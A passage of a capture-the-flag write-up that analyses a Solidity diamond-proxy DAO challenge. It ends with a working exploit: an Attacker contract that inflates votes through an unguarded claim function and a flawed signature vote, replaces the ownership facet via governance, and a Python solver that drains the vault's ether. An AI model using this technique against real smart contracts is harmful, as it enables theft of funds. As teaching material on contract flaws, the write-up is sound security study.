        pigeonVaultFacetSelectors[2] = bytes4(hex"32a2c5d0");

        diamondCut[4] = IDiamondCut.FacetCut({
            facetAddress: address(pigeonVaultFacet),
            action: IDiamondCut.FacetCutAction.Add,
            functionSelectors: pigeonVaultFacetSelectors
        });

        bytes memory init =
            abi.encodeWithSelector(InitDiamond.init.selector, IERC20(address(ftcFacet)), address(pigeonVaultFacet));

        IDiamondCut(address(pigeonDiamond)).diamondCut(diamondCut, address(initDiamond), init);

        IERC20(address(pigeonDiamond)).mint(address(this), 1_000_000 ether);

        (bool success,) = payable(address(pigeonDiamond)).call{value: msg.value}("");
        require(success, "ETH failed to send");

        // Ensure everything is setup correctly
        address[] memory facetAddresses = IDiamondLoupe(address(pigeonDiamond)).facetAddresses();
        assert(facetAddresses.length == 6);

        assert(address(pigeonDiamond).balance == msg.value);
        assert(IERC20(address(pigeonDiamond)).balanceOf(address(this)) == 1_000_000 ether);
    }

    function claim() external {
        require(!claimed, "You already claimed");

        bool success = IERC20(address(pigeonDiamond)).transfer(msg.sender, 10_000 ether);
        require(success, "Failed to send");
    }

    function isSolved() external view returns (bool) {
        return (IOwnershipFacet(address(pigeonDiamond)).owner() == msg.sender && msg.sender.balance >= 3000 ether);
    }
}

This is the setup contract. In order to solve the challenge, we need to become the owner of the pigeonDiamond contract, and have ether more than 3000 ether. Some initial state:

  • The pigeonDiamond has 1 million IERC20 token (newly minted).
  • We can call claim to get some of the newly minted token from the Setup contract.

Diving more through the setup contract, we observed that what the setup code trying to do is:

  • Create a diamond called pigeonDiamond
  • Initialize it with some facets. List of the facets:
    • DiamondCutFacet
    • DiamondLoupeFacet
    • OwnershipFacet
    • FTCFacet
    • DAOFacet
    • PigeonVaultFacet

How the diamond pattern works in simplified version is that:

  • A diamond store a mapping which will map the function selectors with the correct facet address.
  • Everytime we call a function in the diamond, the diamond will try to route the call to the correct facet address based on the called function selector.
  • With the help of IDiamondCut interface, we can easily add/replace/remove this selectors. For example, if we want to replace an existing selectors, than what we need to do:
    • Deploy a new facet with the same selector
    • Call diamondCut to upgdate the selectors mapping.

Let’s try to check the available facets.

OwnershipFacet.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import {LibDiamond} from "../libraries/LibDiamond.sol";
import {IERC173} from "../interfaces/IERC173.sol";

contract OwnershipFacet is IERC173 {
    function transferOwnership(address _newOwner) external override {
        LibDiamond.enforceIsContractOwner();
        LibDiamond.setContractOwner(_newOwner);
    }

    function owner() external view override returns (address owner_) {
        owner_ = LibDiamond.contractOwner();
    }
}

There is a function called transferOwnership, however for now, we can only call it if we’re the owner.

PigeonVault.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import {AppStorage} from "../libraries/LibAppStorage.sol";
import {LibDiamond} from "../libraries/LibDiamond.sol";

contract PigeonVaultFacet {
    AppStorage internal s;

    event Deposit(address indexed account, uint256 amount);

    function emergencyWithdraw() public {
        LibDiamond.enforceIsContractOwner();
        address owner = LibDiamond.contractOwner();
        (bool success,) = payable(address(owner)).call{value: address(this).balance}("");
        require(success, "PigeonVaultFacet: emergency withdraw failed");
    }

    function contractBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getContractAddress() external view returns (address) {
        return address(this);
    }

    // receive() external payable {
    //     emit Deposit(msg.sender, msg.value);
    // }
}

There is a function called emergencyWithdraw, that will allow us to drain the diamond’s ether. However, once again, we can only call it if we’re the owner.

DAOFacet.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import {AppStorage, Proposal} from "../libraries/LibAppStorage.sol";
import {LibDAO} from "../libraries/LibDAO.sol";
import {LibDiamond} from "../libraries/LibDiamond.sol";
import {IDiamondCut} from "../interfaces/IDiamondCut.sol";
import {IERC20} from "../interfaces/IERC20.sol";
import {ECDSA} from "../libraries/ECDSA.sol";

contract DAOFacet {
    AppStorage internal s;

    // Admin functions
    function setProposalThreshold(uint256 _proposalThreshold) external {
        LibDiamond.enforceIsContractOwner();
        s.proposalThreshold = _proposalThreshold;
    }

    function isUserGovernance(address _user) internal view returns (bool) {
        uint256 totalSupply = s.totalSupply;
        uint256 userBalance = LibDAO.getCurrentVotes(_user);
        uint256 threshold = (userBalance * 100) / totalSupply;
        return userBalance >= threshold;
    }

    function submitProposal(address _target, bytes memory _callData, IDiamondCut.FacetCut memory _facetDetails)
        external
        returns (uint256 proposalId)
    {
        require(
            msg.sender == LibDiamond.contractOwner() || isUserGovernance(msg.sender), "DAOFacet: Must be contract owner"
        );
        proposalId = LibDAO.submitProposal(_target, _callData, _facetDetails);
    }

    function executeProposal(uint256 _proposalId) external {
        Proposal storage proposal = s.proposals[_proposalId];
        require(!proposal.executed, "DAOFacet: Already executed.");
        require(block.number >= proposal.endBlock, "DAOFacet: Too early.");
        require(
            proposal.forVotes > proposal.againstVotes && proposal.forVotes > (s.totalSupply / 10),
            "DAOFacet: Proposal failed."
        );
        proposal.executed = true;

        IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);

        cut[0] = IDiamondCut.FacetCut({
            facetAddress: proposal.target,
            action: proposal.facetDetails.action,
            functionSelectors: proposal.facetDetails.functionSelectors
        });

        LibDiamond.diamondCut(cut, proposal.target, proposal.callData);
    }

    function castVoteBySig(uint256 _proposalId, bool _support, bytes memory _sig) external {
        address signer = ECDSA.recover(keccak256("\x19Ethereum Signed Message:\n32"), _sig);
        require(signer != address(0), "DAOFacet: Invalid signature.");
        _vote(_sig, _proposalId, _support);
    }

    function _vote(bytes memory _sig, uint256 _proposalId, bool _support) internal {
        Proposal storage proposal = s.proposals[_proposalId];
        require(LibDAO.getPriorVotes(msg.sender, proposal.startBlock) >= s.voteThreshold, "DAOFacet: Not enough.");
        require(block.number <= s.proposals[_proposalId].endBlock, "DAOFacet: Too late.");
        bool hasVoted = proposal.receipts[_sig];
        require(!hasVoted, "DAOFacet: Already voted.");
        uint256 votes = LibDAO.getPriorVotes(msg.sender, proposal.startBlock);

        if (_support) {
            proposal.forVotes += votes;
        } else {
            proposal.againstVotes += votes;
        }

        proposal.receipts[_sig] = true;
    }
}

This facet is very interesting. We can see that the function executeProposal can be used to upgrade the diamond if we collect enough votes for the upgrade proposal. We can use submitProposal to submit the upgrade proposal. Another thing is that we can castVote as well whether we agree with the proposal or not, and the value of our votes was based on the number of votes that was calculated by the FTC token.

Let’s check the FTCFacet to understand more how the votes works.

FTCFacet.sol

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import {AppStorage, Checkpoint, LibAppStorage} from "../libraries/LibAppStorage.sol";
// import { LibERC20 } from "../libraries/LibERC20.sol";
import {LibDiamond} from "../libraries/LibDiamond.sol";
import {ECDSA} from "../libraries/ECDSA.sol";

import {LibDAO} from "../libraries/LibDAO.sol";

contract FeatherCoinFacet {
    AppStorage internal s;

    /*//////////////////////////////////////////////////////////////
                               READ FUNCTIONS
    //////////////////////////////////////////////////////////////*/

    function name() external pure returns (string memory) {
        return "FeatherCoin";
    }

    function symbol() external pure returns (string memory) {
        return "FTC";
    }

    function decimals() external pure returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return s.totalSupply;
    }

    function balanceOf(address _account) external view returns (uint256) {
        return s.balances[_account];
    }

    function allowance(address _account, address _spender) external view returns (uint256) {
        return s.allowances[_account][_spender];
    }

    /*//////////////////////////////////////////////////////////////
                               TOKEN LOGIC
    //////////////////////////////////////////////////////////////*/

    function mint(address _to, uint256 _amount) external {
        LibDiamond.enforceIsContractOwner();
        _mint(_to, _amount);

        _moveDelegates(address(0), s.delegates[_to], _amount);
    }

    function approve(address _spender, uint256 _amount) external returns (bool) {
        s.allowances[msg.sender][_spender] = _amount;

        return true;
    }

    function transfer(address _to, uint256 _amount) external returns (bool) {
        s.balances[msg.sender] -= _amount;

        unchecked {
            s.balances[_to] += _amount;
        }

        _moveDelegates(s.delegates[msg.sender], s.delegates[_to], _amount);

        return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) external returns (bool) {
        uint256 allowed = s.allowances[_from][msg.sender];

        if (allowed != type(uint256).max) {
            s.allowances[_from][msg.sender] = allowed - _amount;
        }

        s.balances[_from] -= _amount;

        unchecked {
            s.balances[_to] += _amount;
        }

        _moveDelegates(s.delegates[_from], s.delegates[_to], _amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                        DELEGATE LOGIC
    //////////////////////////////////////////////////////////////*/

    function delegate(address _delegatee) public {
        return _delegate(msg.sender, _delegatee);
    }

    function getCurrentVotes(address _account) external view returns (uint256) {
        return LibDAO.getCurrentVotes(_account);
    }

    function getNumberOfCheckpoints(address _account) external view returns (uint32) {
        return s.numCheckpoints[_account];
    }

    function getCheckpoint(address _account, uint32 _pos) external view returns (Checkpoint memory) {
        return s.checkpoints[_account][_pos];
    }

    function getPriorVotes(address _account, uint256 _blockNumber) public view returns (uint256) {
        return LibDAO.getPriorVotes(_account, _blockNumber);
    }

    function _delegate(address _delegator, address _delegatee) internal {
        address currentDelegate = s.delegates[_delegator];
        uint256 delegatorBalance = s.balances[_delegator];

        s.delegates[_delegator] = _delegatee;

        _moveDelegates(currentDelegate, _delegatee, delegatorBalance);
    }

    function _moveDelegates(address _src, address _dst, uint256 _amount) internal {
        if (_src != _dst && _amount > 0) {
            if (_src != address(0)) {
                uint32 srcRepNum = s.numCheckpoints[_src];
                uint256 srcRepOld = srcRepNum > 0 ? s.checkpoints[_src][srcRepNum - 1].votes : 0;
                uint256 srcRepNew = srcRepOld - _amount;

                _writeCheckpoint(_src, srcRepNum, srcRepOld, srcRepNew);
            }

            if (_dst != address(0)) {
                uint32 dstRepNum = s.numCheckpoints[_dst];
                uint256 dstRepOld = dstRepNum > 0 ? s.checkpoints[_dst][dstRepNum - 1].votes : 0;
                uint256 dstRepNew = dstRepOld + _amount;

                _writeCheckpoint(_dst, dstRepNum, dstRepOld, dstRepNew);
            }
        }
    }

    function _writeCheckpoint(address _delegatee, uint32 _nCheckpoints, uint256, /* _oldVotes */ uint256 _newVotes)
        internal
    {
        uint32 blockNumber = safe32(block.number, "FTC: block number exceeds 32 bits");

        if (_nCheckpoints > 0 && s.checkpoints[_delegatee][_nCheckpoints - 1].fromBlock == blockNumber) {
            s.checkpoints[_delegatee][_nCheckpoints - 1].votes = _newVotes;
        } else {
            s.checkpoints[_delegatee][_nCheckpoints] = Checkpoint(blockNumber, _newVotes);
            s.numCheckpoints[_delegatee] = _nCheckpoints + 1;
        }
    }

    /*//////////////////////////////////////////////////////////////
                        MINT / BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address _to, uint256 _amount) internal {
        s.totalSupply += _amount;

        unchecked {
            s.balances[_to] += _amount;
        }
    }

    function _burn(address _from, uint256 _amount) internal {
        s.balances[_from] -= _amount;

        unchecked {
            s.totalSupply -= _amount;
        }
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL UTILS
    //////////////////////////////////////////////////////////////*/

    function safe32(uint256 _number, string memory _errorMessage) internal pure returns (uint32) {
        require(_number < 2 ** 32, _errorMessage);
        return uint32(_number);
    }
}

Skimming through the code, this is the token that is being used to calculate the votes during processing proposal. Basically, we can call delegate to set up the value of votes that is used during processing the proposal, where the value is equivalent with the number of FTC token that we have.

Now that we’ve skimmed through the code, let’s try to think on how to solve the challenge.

Solution

I noticed that there are some interesting observations that I found:

  • In the Setup contract, we can actually call claim multiple times because they forgot to set the claimed to true during calling it.
    • That means, our user can have all the minted token by Setup.
  • Looking at the isUserGovernance method, the simplified logic is basically just trying to cheeck whether totalSupply >= 100, which is always true.
    • This function is called to decide whether user can submit a proposal or not.
    • Because it always return true, that means user can always submit a proposal
  • Looking at the castVoteBySig method, we noticed that:
    • The call getPriorVotes was using the msg.sender instead of the signer address.
    • This means that one user can cast multiple votes as long as they can provide any signature which is recovered to non-null address.

Checking through the executeProposal code, the requirement to execute the proposal is:

  • Proposal isn’t executed yet (A proposal can only be executed once).
  • block.number >= proposal.endBlock
    • Looking at the challenge description, they use foundry, which will increased the block.number by 1 per 10 seconds.
    • Because the proposal.endBlock is proposal.startBlock + 6, that means we need to wait one minute before calling the executeProposal.
  • The proposal.forVotes is required to be more than proposal.againstVotes and more than (s.totalSupply / 10), which is around 100k votes.
    • This can easily achieved by two bugs that we found. Either:
      • Call claim multiple times so that our user can directly call castVoteBySig with votes larger than 100k.
      • Or, we can also call castVoteBySig multiple times with different signature, because the votes value that was fetched was the msg.sender balance instead of the signer.

I found that the multiple claim calls are easier, so I decided to go with that.

Now that we know we can execute an upgrade proposal, let’s think on what we should do with it.

Because the goal is to be the owner of the pigeonDiamond, we can simply deploy our FakeOwnershipFacet in the proposal. The FakeOwnershipFacet will replace the transferOwnership method so that it can be called wihout being the current owner of the diamond.

After upgrading it, we can simply call the emergencyWithdraw to satisfy the required ether balance to solve the challenge.

Full Script

Attacker.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import {IDiamondCut} from "./interfaces/IDiamondCut.sol";
import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol";
import {IOwnershipFacet} from "./interfaces/IOwnershipFacet.sol";
import {IERC20} from "./interfaces/IERC20.sol";

import {DiamondCutFacet} from "./facets/DiamondCutFacet.sol";
import {OwnershipFacet} from "./facets/OwnershipFacet.sol";
import {DiamondLoupeFacet} from "./facets/DiamondLoupeFacet.sol";
import {FeatherCoinFacet} from "./facets/FTCFacet.sol";
import {DAOFacet} from "./facets/DAOFacet.sol";
import {PigeonVaultFacet} from "./facets/PigeonVaultFacet.sol";

import {PigeonDiamond} from "./PigeonDiamond.sol";
import {InitDiamond} from "./InitDiamond.sol";
import {IERC173} from "./interfaces/IERC173.sol";
import {LibDiamond} from "./libraries/LibDiamond.sol";
import "./Setup.sol";

contract FakeOwnershipFacet is IERC173 {
    function transferOwnership(address _newOwner) external override {
        LibDiamond.setContractOwner(_newOwner);
    }

    function owner() external view override returns (address owner_) {
        owner_ = LibDiamond.contractOwner();
    }
}

contract Attacker {
    address pigeonDiamond;
    FakeOwnershipFacet fakeOwnershipFacet;
    DAOFacet dao;
    FeatherCoinFacet ftc;
    Setup setup;
    uint256 proposalId;

    constructor(address _pigeonDiamond, address _setup) {
        pigeonDiamond = _pigeonDiamond;
        ftc = FeatherCoinFacet(pigeonDiamond);
        dao = DAOFacet(pigeonDiamond); 
        fakeOwnershipFacet = new FakeOwnershipFacet();
        setup = Setup(_setup);

        // Claim all FTC
        for (uint i=0; i<100; i++) {
            setup.claim();
        }

        require(ftc.balanceOf(address(this)) == 1_000_000 ether , "Not 1mio FTC");

        ftc.delegate(address(this));
        require(ftc.getCurrentVotes(address(this)) == 1_000_000 ether, "Not 1mio votes");

        // Setup FakeOwnershipFacet
        bytes4[] memory ownershipFacetSelectors = new bytes4[](2);
        ownershipFacetSelectors[0] = bytes4(hex"8da5cb5b");
        ownershipFacetSelectors[1] = bytes4(hex"f2fde38b");

        IDiamondCut.FacetCut memory facetDetails = IDiamondCut.FacetCut({
            facetAddress: address(fakeOwnershipFacet),
            action: IDiamondCut.FacetCutAction.Replace,
            functionSelectors: ownershipFacetSelectors
        });
        bytes memory callData = abi.encodeCall(
            fakeOwnershipFacet.transferOwnership,
            (msg.sender)
        );
        proposalId = dao.submitProposal(address(fakeOwnershipFacet), callData, facetDetails);
    }

    function castVote(bytes memory _sig) public {
        dao.castVoteBySig(proposalId, true, _sig);
    }

    function execute() public {
        dao.executeProposal(proposalId);
        require(IOwnershipFacet(pigeonDiamond).owner() == msg.sender, "Pigeon Diamond's owner isn't msg.sender");
    }
}

Solver

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from web3 import Web3
from pwn import *
from solcx import compile_files
from eth_account.messages import encode_defunct

url = 'win.the.seetf.sg'
port = 8552

def launch_instance():
    print('Launch instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'1')
    r.recvuntil(b'uuid:           ')
    uuid = r.recvline().strip()
    r.recvuntil(b'rpc endpoint:   ')
    rpc_endpoint = r.recvline().strip()
    r.recvuntil(b'private key:    ')
    private_key = r.recvline().strip()
    r.recvuntil(b'setup contract: ')
    setup_address = r.recvline().strip()
    r.close()
    print(f'uuid          = {uuid}')
    print(f'rpc_endpoint  = \'{rpc_endpoint.decode()}\'')
    print(f'private_key   = \'{private_key.decode()}\'')
    print(f'setup_address = \'{setup_address.decode()}\'')
    return uuid, rpc_endpoint.decode(), private_key.decode(), setup_address.decode()

def kill_instance(uuid):
    print('Kill instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'2')
    r.sendlineafter(b'uuid please: ', uuid)
    r.close()

def get_flag(uuid):
    print('Get Flag...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'3')
    r.sendlineafter(b'uuid please: ', uuid)
    flag = r.readrepeat(1)
    r.close()
    return flag

# Launch instance
uuid = b''

# uuid          = b'3d5e6ac5-344a-4fc6-a3b5-7e81f66d7163'
# rpc_endpoint  = 'http://win.the.seetf.sg:8551/3d5e6ac5-344a-4fc6-a3b5-7e81f66d7163'
# private_key   = '0x504e560b8ab62ed68e801aab02877ef7b4af5e1fb7d2f0ff850f2dd4af5ab2e3'
# setup_address = '0x3739B9AeDd167E15fe8Ca95A60C4631DC2b0bB35'

if uuid == b'':
    uuid, rpc_endpoint, private_key, setup_address = launch_instance()

# Connect to the network
w3 = Web3(Web3.HTTPProvider(rpc_endpoint))
assert w3.is_connected()

player = w3.eth.account.from_key(private_key)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')

# Get pigeonDiamond address
setup_abi = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"daoFacet","outputs":[{"internalType":"contract DAOFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"diamondCutFacet","outputs":[{"internalType":"contract DiamondCutFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"diamondLoupeFacet","outputs":[{"internalType":"contract DiamondLoupeFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ftcFacet","outputs":[{"internalType":"contract FeatherCoinFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initDiamond","outputs":[{"internalType":"contract InitDiamond","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipFacet","outputs":[{"internalType":"contract OwnershipFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeonDiamond","outputs":[{"internalType":"contract PigeonDiamond","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeonVaultFacet","outputs":[{"internalType":"contract PigeonVaultFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
selector = w3.keccak(text='pigeonDiamond()')[:4]
output = w3.eth.call({
    'to': setup_address,
    'data': selector.hex()
})
pigeon_diamond_address = w3.to_checksum_address(output[12:].hex())
info(f'{pigeon_diamond_address = }, balance: {w3.eth.get_balance(pigeon_diamond_address)}')

# Check FeatherCoinFacet
fc_abi = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"daoFacet","outputs":[{"internalType":"contract DAOFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"diamondCutFacet","outputs":[{"internalType":"contract DiamondCutFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"diamondLoupeFacet","outputs":[{"internalType":"contract DiamondLoupeFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ftcFacet","outputs":[{"internalType":"contract FeatherCoinFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initDiamond","outputs":[{"internalType":"contract InitDiamond","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipFacet","outputs":[{"internalType":"contract OwnershipFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeonDiamond","outputs":[{"internalType":"contract PigeonDiamond","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeonVaultFacet","outputs":[{"internalType":"contract PigeonVaultFacet","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
fc_contract = w3.eth.contract(address=pigeon_diamond_address, abi=fc_abi)
selector = w3.keccak(text='name()')[:4]
output = w3.eth.call({
    'to': pigeon_diamond_address,
    'data': selector.hex()
})

# Deploy attacker contract
compiled_src = compile_files(['Attacker.sol'], output_values=['abi', 'bin'], import_remappings=['@openzeppelin/=../lib/openzeppelin-contracts/'])
compiled_attacker = compiled_src['Attacker.sol:Attacker']
attacker_contract = w3.eth.contract(abi=compiled_attacker['abi'], bytecode=compiled_attacker['bin'])
transaction = attacker_contract.constructor(pigeon_diamond_address, setup_address).build_transaction({
	"from": player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
	"value": 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
rcpt = w3.eth.get_transaction_receipt(tx_hash)
attacker_address = w3.to_checksum_address(rcpt['contractAddress'])
attacker_contract = w3.eth.contract(address=attacker_address, abi=compiled_attacker['abi'])
info(f'{attacker_address = }, balance: {w3.eth.get_balance(attacker_address)}')

# Call vote
_sig = w3.eth.account.signHash(w3.keccak(b'\x19Ethereum Signed Message:\n32'), private_key=private_key)['signature'].hex()
transaction = attacker_contract.functions.castVote(_sig).build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
info(f'Sleep 1 minute after cast vote...')
sleep(65)

# Call execute
transaction = attacker_contract.functions.execute().build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)

# Call emergencyWithdraw
vault_abi = [{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"account","type":"address"},{"indexed":False,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getContractAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
vault_contract = w3.eth.contract(address=pigeon_diamond_address, abi=vault_abi)
transaction = vault_contract.functions.emergencyWithdraw().build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
info(f'tx hash: {tx_hash.hex()}')
sleep(15)
info(f'player balance: {w3.eth.get_balance(player.address)}')

out = get_flag(uuid)
info(out.decode())

Flag: SEE{D14m0nd5_st0rAg3_4nd_P1g30nS_d0n’t_g0_w311_t0G37h3r_B1lnG_bl1ng_bed2cbc16cbfca78f6e7d73ae2ac987f}

Social Media

Follow me on twitter